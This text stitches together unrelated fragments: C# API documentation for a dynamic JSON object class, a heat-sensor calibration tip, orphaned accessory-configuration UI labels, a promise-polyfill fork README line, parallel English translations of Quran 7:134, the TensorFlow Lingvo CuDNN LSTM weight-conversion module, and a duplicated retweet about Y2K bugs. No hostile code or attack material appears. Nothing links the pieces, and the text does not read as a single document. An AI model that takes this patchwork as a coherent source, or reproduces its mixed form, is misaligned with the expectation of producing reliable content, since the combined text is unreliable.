| System.Collections.Generic.IEnumerable<System.String> | A sequence that contains dynamic member names. |
GetEnumerator()
Gets the enumerator.
Declaration
public IEnumerator<KeyValuePair<string, object>> GetEnumerator()
Returns
| Type | Description |
|---|---|
| System.Collections.Generic.IEnumerator<System.Collections.Generic.KeyValuePair<System.String, System.Object>> |
Remove(KeyValuePair<String, Object>)
Removes the specified item.
Declaration
public bool Remove(KeyValuePair<string, object> item)
Parameters
| Type | Name | Description |
|---|---|---|
| System.Collections.Generic.KeyValuePair<System.String, System.Object> | item | The item. |
Returns
| Type | Description |
|---|---|
| System.Boolean |
Remove(String)
Removes the specified key.
Declaration
public bool Remove(string key)
Parameters
| Type | Name | Description |
|---|---|---|
| System.String | key | The key. |
Returns
| Type | Description |
|---|---|
| System.Boolean |
IEnumerable.GetEnumerator()
Returns an enumerator that iterates through a collection.
Declaration
IEnumerator IEnumerable.GetEnumerator()
Returns
| Type | Description |
|---|---|
| System.Collections.IEnumerator | An System.Collections.IEnumerator object that can be used to iterate through the collection. |
ToString()
Returns a json System.String that represents the current System.Object.
Declaration
public override string ToString()
Returns
| Type | Description |
|---|---|
| System.String | A json System.String that represents the current System.Object. |
TryConvert(ConvertBinder, out Object)
Provides implementation for type conversion operations. Classes derived from the System.Dynamic.DynamicObject class can override this method to specify dynamic behavior for operations that convert an object from one type to another.
Declaration
public override bool TryConvert(ConvertBinder binder, out object result)
Parameters
| Type | Name | Description |
|---|---|---|
| System.Dynamic.ConvertBinder | binder | Provides information about the conversion operation. The binder.Type property provides the type to which the object must be converted. For example, for the statement (String)sampleObject in C# (CType(sampleObject, Type) in Visual Basic), where sampleObject is an instance of the class derived from the System.Dynamic.DynamicObject class, binder.Type returns the System.String type. The binder.Explicit property provides information about the kind of conversion that occurs. It returns true for explicit conversion and false for implicit conversion. |
| System.Object | result | The result of the type conversion operation. |
Returns
| Type | Description |
|---|---|
| System.Boolean | Alwasy returns true. |
TryDeleteMember(DeleteMemberBinder)
Provides the implementation for operations that delete an object member. This method is not intended for use in C# or Visual Basic.
Declaration
public override bool TryDeleteMember(DeleteMemberBinder binder)
Parameters
| Type | Name | Description |
|---|---|---|
| System.Dynamic.DeleteMemberBinder | binder | Provides information about the deletion. |
Returns
| Type | Description |
|---|---|
| System.Boolean | Alwasy returns true. |
TryGetIndex(GetIndexBinder, Object[], out Object)
Provides the implementation for operations that get a value by index. Classes derived from the System.Dynamic.DynamicObject class can override this method to specify dynamic behavior for indexing operations.
Declaration
public override bool TryGetIndex(GetIndexBinder binder, object[] indexes, out object result)
Parameters
| Type | Name | Description |
|---|---|---|
| System.Dynamic.GetIndexBinder | binder | Provides information about the operation. |
| System.Object[] | indexes | The indexes that are used in the operation. For example, for the sampleObject[3] operation in C# (sampleObject(3) in Visual Basic), where sampleObject is derived from the DynamicObject class, indexes is equal to 3. |
| System.Object | result | The result of the index operation. |
Returns
| Type | Description |
|---|---|
| System.Boolean | Alwasy returns true. |
TryGetMember(GetMemberBinder, out Object)
Provides the implementation for operations that get member values. Classes derived from the System.Dynamic.DynamicObject class can override this method to specify dynamic behavior for operations such as getting a value for a property.
Declaration
public override bool TryGetMember(GetMemberBinder binder, out object result)
Parameters
| Type | Name | Description |
|---|---|---|
| System.Dynamic.GetMemberBinder | binder | Provides information about the object that called the dynamic operation. The binder.Name property provides the name of the member on which the dynamic operation is performed. For example, for the Console.WriteLine(sampleObject.SampleProperty) statement, where sampleObject is an instance of the class derived from the System.Dynamic.DynamicObject class, binder.Name returns "SampleProperty". The binder.IgnoreCase property specifies whether the member name is case-sensitive. |
| System.Object | result | The result of the get operation. For example, if the method is called for a property, you can assign the property value to result. |
Returns
| Type | Description |
|---|---|
| System.Boolean | Alwasy returns true. |
TryGetValue(String, out Object)
Tries the get value.
Declaration
public bool TryGetValue(string key, out object value)
Parameters
| Type | Name | Description |
|---|---|---|
| System.String | key | The key. |
| System.Object | value | The value. |
Returns
| Type | Description |
|---|---|
| System.Boolean |
TrySetIndex(SetIndexBinder, Object[], Object)
Provides the implementation for operations that set a value by index. Classes derived from the System.Dynamic.DynamicObject class can override this method to specify dynamic behavior for operations that access objects by a specified index.
Declaration
public override bool TrySetIndex(SetIndexBinder binder, object[] indexes, object value)
Parameters
| Type | Name | Description |
|---|---|---|
| System.Dynamic.SetIndexBinder | binder | Provides information about the operation. |
| System.Object[] | indexes | The indexes that are used in the operation. For example, for the sampleObject[3] = 10 operation in C# (sampleObject(3) = 10 in Visual Basic), where sampleObject is derived from the System.Dynamic.DynamicObject class, indexes is equal to 3. |
| System.Object | value | The value to set to the object that has the specified index. For example, for the sampleObject[3] = 10 operation in C# (sampleObject(3) = 10 in Visual Basic), where sampleObject is derived from the System.Dynamic.DynamicObject class, value is equal to 10. |
Returns
| Type | Description |
|---|---|
| System.Boolean | true if the operation is successful; otherwise, false. If this method returns false, the run-time binder of the language determines the behavior. (In most cases, a language-specific run-time exception is thrown. |
TrySetMember(SetMemberBinder, Object)
Provides the implementation for operations that set member values. Classes derived from the System.Dynamic.DynamicObject class can override this method to specify dynamic behavior for operations such as setting a value for a property.
Declaration
public override bool TrySetMember(SetMemberBinder binder, object value)
Parameters
| Type | Name | Description |
|---|---|---|
| System.Dynamic.SetMemberBinder | binder | Provides information about the object that called the dynamic operation. The binder.Name property provides the name of the member to which the value is being assigned. For example, for the statement sampleObject.SampleProperty = "Test", where sampleObject is an instance of the class derived from the System.Dynamic.DynamicObject class, binder.Name returns "SampleProperty". The binder.IgnoreCase property specifies whether the member name is case-sensitive. |
| System.Object | value | The value to set to the member. For example, for sampleObject.SampleProperty = "Test", where sampleObject is an instance of the class derived from the System.Dynamic.DynamicObject class, the value is "Test". |
Returns
| Type | Description |
|---|---|
| System.Boolean | true if the operation is successful; otherwise, false. If this method returns false, the run-time binder of the language determines the behavior. (In most cases, a language-specific run-time exception is thrown.) |


Calibration will take a heat measurement of the object at each position in the X, Y, and Z axis at the spacing point. You should place a known heat source like a soldering iron tip at the center. Then, if your calibration of the infrared heat sensor is correct, you should get a consistent heat reading of the heat source when directly overhead at each Z layer. If you dont't, then your Field of View of the heat sensor is too broad.


Select Service
×
Service
Template
Name
Service Configuration
×
Service
Name
Accessory Configuration
×
id
Name
Category
Identify
Topic
Payload
String
Number
Boolean
Undefined
False
True
AccessoryInformation
Manufacturer
Model
Serial
Really Delete Accessory?
×
id
Name
Really Delete Service?
×
Service
Name


Note: this is an unsolicited fork of taylorhakes/promise-polyfill and should be considered experimental and unstable compared to upstream.
1 2
npm install npm test
MIT


| 007:134 Khan | : |
And when the punishment fell on them they said: "O Musa (Moses)! Invoke your Lord for us because of His Promise to you. If you will remove the punishment from us, we indeed shall believe in you, and we shall let the Children of Israel go with you." |
| 007:134 Maulana | : |
And when the plague fell upon them, they said: O Moses, pray for us to thy Lord as He has made promise with thee. If thou remove the plague from us, we will certainly believe in thee and will let the Children of Israel go with thee. |
| 007:134 Pickthal | : |
And when the terror fell on them they cried: O Moses! Pray for us unto thy Lord, because He hath a covenant with thee. If thou removest the terror from us we verily will trust thee and will let the Children of Israel go with thee. |
| 007:134 Rashad | : |
Whenever a plague afflicted them, they said, "O Moses, implore your Lord - you are close to Him. If you relieve this plague, we will believe with you, and will send the Children of Israel with you." |
| 007:134 Sarwar | : |
When the torment would strike them, they would ask Moses, "Pray for us to your Lord through your covenant with Him. If He saves us from the torment, we shall certainly believe in you and permit you and the children of Israel to leave". |
| 007:134 Shakir | : |
And when the plague fell upon them, they said: O Musa! pray for us to your Lord as He has promised with you, if you remove the plague from us, we will certainly believe in you and we will certainly send away with you the children of Israel. |
| 007:134 Sherali | : |
And when there fell upon them the punishment, they said, 'O Moses, pray for us to thy Lord according to that which HE has promised to thee. If thou remove from us the punishment, we will surely believe thee and we will surely send with thee the Children of Israel.' |
| 007:134 Yusufali | : |
Every time the penalty fell on them, they said: "O Moses! on your behalf call on thy Lord in virtue of his promise to thee: If thou wilt remove the penalty from us, we shall truly believe in thee, and we shall send away the Children of Israel with thee." |
Concepts/Themes Covered:
This tool uses eight English parallel translations for the Holy Quran imported from Mr. Clay Smith. You can also visit Qurany Concepts for browsing the Quran themes or topics. If you want to search the Holy Quran for keywords, please visit Qurany Keywords.


# -*- coding: utf-8 -*-
# Copyright 2018 The TensorFlow Authors. All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
# ==============================================================================
"""Utilities for converting CuDNN RNN params to Lingvo RNN weights."""
from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
import numpy as np
import tensorflow as tf
from tensorflow.contrib.cudnn_rnn.python.ops import cudnn_rnn_ops
NUM_PARAMS_PER_LSTM_LAYER = cudnn_rnn_ops.CudnnLSTM._NUM_PARAMS_PER_LAYER # pylint:disable=protected-access
UNI_RNN = cudnn_rnn_ops.CUDNN_RNN_UNIDIRECTION
BI_RNN = cudnn_rnn_ops.CUDNN_RNN_BIDIRECTION
[docs]class CuDNNLSTMInitializer(object):
"""Helper class for cudnn rnn weights initialization."""
def __init__(self, num_input_nodes, num_cell_nodes, direction=UNI_RNN):
self._input_nodes = num_input_nodes
self._cell_nodes = num_cell_nodes
self._direction = direction
[docs] def OpaqueParamsShape(self, dtype):
return cudnn_rnn_ops.cudnn_rnn_opaque_params_size(
rnn_mode='lstm',
num_layers=1,
num_units=self._cell_nodes,
input_size=self._input_nodes,
input_mode='linear_input',
direction=self._direction,
dtype=dtype)
@property
def weight_shapes(self):
"""Return the shapes of weight tensors of each gate."""
input_nodes = self._input_nodes
cell_nodes = self._cell_nodes
w_i, w_f, w_c, w_o = [(input_nodes, cell_nodes)] * 4
r_i, r_f, r_c, r_o = [(cell_nodes, cell_nodes)] * 4
if self._direction == BI_RNN:
return [w_i, w_f, w_c, w_o, r_i, r_f, r_c, r_o] * 2
else:
return [w_i, w_f, w_c, w_o, r_i, r_f, r_c, r_o]
@property
def weight_sizes(self):
"""Return the sizes of weight tensor of each gate."""
shapes = self.weight_shapes
return [np.prod(shape) for shape in shapes]
@property
def weight_size(self):
"""Return the accumulated weight size."""
return np.sum(self.weight_sizes)
@property
def bias_shapes(self):
"""Return the shapes of bias tensors of each gate."""
if self._direction == BI_RNN:
return [(self._cell_nodes)] * 16
else:
return [(self._cell_nodes)] * 8
@property
def bias_sizes(self):
"""Return the sizes of bias tensor of each gate."""
return self.bias_shapes
@property
def bias_size(self):
"""Return the accumulated bias size."""
return np.sum(self.bias_sizes)
[docs] def InitOpaqueParams(self, dtype, base_initializer):
"""Uses base_initializer to init weights from opaque cudnn params.
Args:
dtype: data type.
base_initializer: a callable that returns a tensor given shape, dtype and
partition_info.
Returns:
A initialized opaque cudnn params. Its weights are initialized with the
base_initializer, and biases are set to zero.
"""
# The shape argument isn't used.
weights = [
base_initializer(sp, dtype, partition_info=None)
for sp in self.weight_shapes
]
biases = [tf.zeros(sp, dtype=dtype) for sp in self.bias_shapes]
return cudnn_rnn_ops.cudnn_rnn_canonical_to_opaque_params(
rnn_mode='lstm',
num_layers=1,
num_units=self._cell_nodes,
input_size=self._input_nodes,
weights=weights,
biases=biases,
input_mode='linear_input',
direction=self._direction)
[docs]def _StitchWeights(w_i, w_f, w_c, w_o,
r_i, r_f, r_c, r_o,
input_dim, cell_dim):
r"""Stitching LSTM per-gate weights to comform to LSTMCellSimple layout.
LSTMCellSimple uses a single weight Tensor of shape [input_dim, 4 * cell_dim].
This method puts the weight tensors together.
Args:
w_i:
w_f:
w_c:
w_o:
weights applied on cell input.
r_i:
r_f:
r_c:
r_o:
weights applied on recurrent input.
input_dim: an int, LSTM input dim.
cell_dim: an int, LSTM cell dim.
Returns:
A weight Tensor.
"""
# pylint: disable=invalid-name
W_i = tf.concat([
tf.reshape(w_i, [cell_dim, input_dim]),
tf.reshape(r_i, [cell_dim, cell_dim])], axis=1)
W_f = tf.concat([
tf.reshape(w_f, [cell_dim, input_dim]),
tf.reshape(r_f, [cell_dim, cell_dim])], axis=1)
W_c = tf.concat([
tf.reshape(w_c, [cell_dim, input_dim]),
tf.reshape(r_c, [cell_dim, cell_dim])], axis=1)
W_o = tf.concat([
tf.reshape(w_o, [cell_dim, input_dim]),
tf.reshape(r_o, [cell_dim, cell_dim])], axis=1)
# pylint: enable=invalid-name
# CuDNN weights are in ifco order, Lingvo LSTMCellSimple is cifo order.
return tf.transpose(tf.concat([W_c, W_i, W_f, W_o], axis=0))
[docs]def _StitchBiases(b_wi, b_wf, b_wc, b_wo,
b_ri, b_rf, b_rc, b_ro):
r"""Stitching LSTM per-gate biases to comform to LSTMCellSimple layout.
LSTMCellSimple uses a single bias Tensor of shape [4 * cell_dim]. This method
puts the bias tensors together.
Args:
b_wi:
b_wf:
b_wc:
b_wo:
biases applied on cell input.
b_ri:
b_rf:
b_rc:
b_ro:
biases applied on recurrent input.
Returns:
A bias Tensor.
"""
return (
tf.concat([b_wc, b_wi, b_wf, b_wo], axis=0) +
tf.concat([b_rc, b_ri, b_rf, b_ro], axis=0))
[docs]def _CuDNNParamsToCanonical(cudnn_params, input_dim, cell_dim, direction):
r"""Convert a single piece CuDNN params to canonical params of LSTM gates.
Args:
cudnn_params: A Tensor containing all weights and biases of a
CuDNN LSTM. The shape of cudnn_params given input_dim, cell_dim and
direction can be obtained by py_utils.CuDNNInitializer.effective_shape.
input_dim: an int, LSTM cell input dimension.
cell_dim: an int, LSTM cell hidden dimension.
direction: cudnn_rnn_ops.CUDNN_RNN_UNIDIRECTION or
cudnn_rnn_ops.CUDNN_RNN_BIDIRECTION.
Returns:
A list of weight Tensor and a list of bias Tensor, in the order they appear
in input `cudnn_params`, described above.
Raises:
ValueError: for invalid `direction`.
"""
if direction not in (UNI_RNN, BI_RNN):
raise ValueError('\'direction\' must be %s or %s, receive %s.',
UNI_RNN, BI_RNN)
cudnn_initializer = CuDNNLSTMInitializer(input_dim, cell_dim, direction)
weights, biases = tf.split(cudnn_params,
[cudnn_initializer.weight_size,
cudnn_initializer.bias_size],
axis=0)
weights = tf.split(weights, cudnn_initializer.weight_sizes, axis=0)
biases = tf.split(biases, cudnn_initializer.bias_sizes, axis=0)
return weights, biases
[docs]def RecoverLSTMCellSimpleWeightsFromCuDNN(cudnn_params, input_dim, cell_dim,
direction):
r"""Recover LSTMCellSimple-compatible weights from (uni/bi)CuDNNLSTM weights.
Args:
cudnn_params: A Tensor containing all weights and biases of a
CuDNN LSTM. The shape of cudnn_params given input_dim, cell_dim and
direction can be obtained by py_utils.CuDNNInitializer.effective_shape.
input_dim: an int, LSTM cell input dimension.
cell_dim: an int, LSTM cell hidden dimension.
direction: cudnn_rnn_ops.CUDNN_RNN_UNIDIRECTION or
cudnn_rnn_ops.CUDNN_RNN_BIDIRECTION.
Returns:
A list of weight Tensor and a list of bias Tensor.
Raises:
ValueError: for invalid `direction`.
"""
if direction not in (cudnn_rnn_ops.CUDNN_RNN_UNIDIRECTION,
cudnn_rnn_ops.CUDNN_RNN_BIDIRECTION):
raise ValueError('\'direction\' must be %s or %s, receive %s.',
cudnn_rnn_ops.CUDNN_RNN_UNIDIRECTION,
cudnn_rnn_ops.CUDNN_RNN_BIDIRECTION)
weights, biases = _CuDNNParamsToCanonical(cudnn_params, input_dim, cell_dim,
direction)
if direction == cudnn_rnn_ops.CUDNN_RNN_UNIDIRECTION:
assert len(weights) == NUM_PARAMS_PER_LSTM_LAYER
assert len(weights) == NUM_PARAMS_PER_LSTM_LAYER
w_i, w_f, w_c, w_o, r_i, r_f, r_c, r_o = weights
b_wi, b_wf, b_wc, b_wo, b_ri, b_rf, b_rc, b_ro = biases
w = _StitchWeights(w_i, w_f, w_c, w_o,
r_i, r_f, r_c, r_o,
input_dim, cell_dim)
b = _StitchBiases(b_wi, b_wf, b_wc, b_wo,
b_ri, b_rf, b_rc, b_ro)
return (w, b)
else:
assert len(weights) == 2 * NUM_PARAMS_PER_LSTM_LAYER
assert len(weights) == 2 * NUM_PARAMS_PER_LSTM_LAYER
(fwd_w_i, fwd_w_f, fwd_w_c, fwd_w_o,
fwd_r_i, fwd_r_f, fwd_r_c, fwd_r_o,
bak_w_i, bak_w_f, bak_w_c, bak_w_o,
bak_r_i, bak_r_f, bak_r_c, bak_r_o) = weights
(fwd_b_wi, fwd_b_wf, fwd_b_wc, fwd_b_wo,
fwd_b_ri, fwd_b_rf, fwd_b_rc, fwd_b_ro,
bak_b_wi, bak_b_wf, bak_b_wc, bak_b_wo,
bak_b_ri, bak_b_rf, bak_b_rc, bak_b_ro) = biases
fwd_w = _StitchWeights(fwd_w_i, fwd_w_f, fwd_w_c, fwd_w_o,
fwd_r_i, fwd_r_f, fwd_r_c, fwd_r_o,
input_dim, cell_dim)
bak_w = _StitchWeights(bak_w_i, bak_w_f, bak_w_c, bak_w_o,
bak_r_i, bak_r_f, bak_r_c, bak_r_o,
input_dim, cell_dim)
fwd_b = _StitchBiases(fwd_b_wi, fwd_b_wf, fwd_b_wc, fwd_b_wo,
fwd_b_ri, fwd_b_rf, fwd_b_rc, fwd_b_ro)
bak_b = _StitchBiases(bak_b_wi, bak_b_wf, bak_b_wc, bak_b_wo,
bak_b_ri, bak_b_rf, bak_b_rc, bak_b_ro)
return (fwd_w, bak_w), (fwd_b, bak_b)
[docs]class CuDNNLSTMSaveable(tf.contrib.cudnn_rnn.CudnnLSTMSaveable):
r"""Lingvo CuDNN LSTM opaque params saveable.
Save CuDNN opaque params in lingvo canonical format such that the
checkpoints can be used by both CuDNN and platform-independent RNN cells.
CuDNN LSTM equation:
| i_t = σ(w_i * x_t + r_i * h_(t-1) + b_wi + b_ri)
| f_t = σ(w_f * x_t + r_f * h_(t-1) + b_wf + b_rf)
| o_t = σ(w_o * x_t + r_o h_(t-1) + b_wo + b_ro)
| c'_t = tanh(w_c * x_t + r_c * h_(t-1) + b_wc + b_rc)
| c_t = f_t ◦ c_(t-1) + i_t ◦ c'_t
| h_t = o_t ◦ tanh(c_t)
When saving, the opaque param is first transformed into a list of tensors
in CuDNN canonical format, then further processed to be in the format of
LSTMCellSimple vars.
When recovering from a CuDNN graph, the restored tensors go through the
reverse of the aforementioned process.
When recovering from graphs built with LSTMCellSimple, the tensors in the
checkpoints are ready to use, with the right shapes and names.
Specifically the tensors are saved in the following order:
.. code-block:: none
------------------------------------------------------------
| weights | biases |
------------------------------------------------------------
\ \
-------------------------------
| layer1 |layer2 |... |
-------------------------------
\ \
---------------
|fwd |bak |
---------------
"""
def __init__(self,
opaque_params,
cell_nodes,
input_nodes,
rnn_cell_name,
scope=None,
name='params_canonical'):
"""Constructor.
Args:
opaque_params: opaque CuDNN params, a single tensor w/ no static shape.
cell_nodes: a int, num of nodes in a lstm cell.
input_nodes: a int, the num of nodes in input.
rnn_cell_name: the name of RNN cell in the CuDNNLSTM-ish layer. Configured
via LSTMCellSimple.Params().name.
scope: the variable scope of the layer variable. If not set, default to
current variable scope.
name: name of the saveable, should be unique in a graph.
"""
self._rnn_cell_name = rnn_cell_name
scope = scope or tf.get_variable_scope()
super(CuDNNLSTMSaveable, self).__init__(
opaque_params=opaque_params,
num_layers=1,
num_units=cell_nodes,
input_size=input_nodes,
direction=UNI_RNN,
scope=scope,
name=name)
[docs] def _cudnn_to_tf_gate_params(self, *cu_gate_order):
"""Put CuDNN gate params to lingvo RNN cell order."""
i_g, f_g, c_g, o_g = cu_gate_order
return [c_g, i_g, f_g, o_g]
[docs] def _tf_to_cudnn_gate_params(self, *tf_gate_order):
"""Put lingvo RNN cell gate params to CuDNN order."""
c_g, i_g, f_g, o_g = tf_gate_order
return [i_g, f_g, c_g, o_g]
[docs] def _TFCanonicalNamePrefix(self, layer, unused_is_fwd=True):
"""The prefix of names under which lingvo canonical params are saved."""
# Lingvo only uses single layer.
assert layer == 0
return self._rnn_cell_name
[docs]class BidiCuDNNLSTMSaveable(CuDNNLSTMSaveable):
"""Lingvo CuDNN LSTM opaque params saveable."""
def __init__(self,
opaque_params,
cell_nodes,
input_nodes,
fw_cell_name,
bw_cell_name,
scope=None,
name='params_canonical'):
"""Constructor.
Args:
opaque_params: opaque CuDNN params, a single tensor w/ no static shape.
cell_nodes: a int, num of nodes in a lstm cell.
input_nodes: a int, the num of nodes in input.
fw_cell_name:
bw_cell_name: the name of RNN cell in the BidiCuDNNLSTM-ish layer.
Configured via LSTMCellSimple.Params().name.
scope: the variable scope of the layer variable. If not set, default to
current variable scope.
name: name of the saveable, should be unique in a graph.
"""
self._fw_cell_name = fw_cell_name
self._bw_cell_name = bw_cell_name
scope = scope or tf.get_variable_scope()
super(CuDNNLSTMSaveable, self).__init__(
opaque_params=opaque_params,
num_layers=1,
num_units=cell_nodes,
input_size=input_nodes,
direction=BI_RNN,
scope=scope,
name=name)
[docs] def _TFCanonicalNamePrefix(self, layer, is_fwd=True):
"""The prefix of names under which lingvo canonical params are saved."""
# Lingvo only uses single layer.
assert layer == 0
return self._fw_cell_name if is_fwd else self._bw_cell_name


RT @0xabad1dea: I’ve seen multiple reports of systems being taken down by y2k bugs that were “fixed” back in 1999 by remapping 1900-1920 to…
1/3/2021, 9:29:05 AM
Favs: 0
Retweets: 0
link--- layout: tweet ---
RT @0xabad1dea: I’ve seen multiple reports of systems being taken down by y2k bugs that were “fixed” back in 1999 by remapping 1900-1920 to…
1/3/2021, 9:29:05 AM
Favs: 0
Retweets: 0
link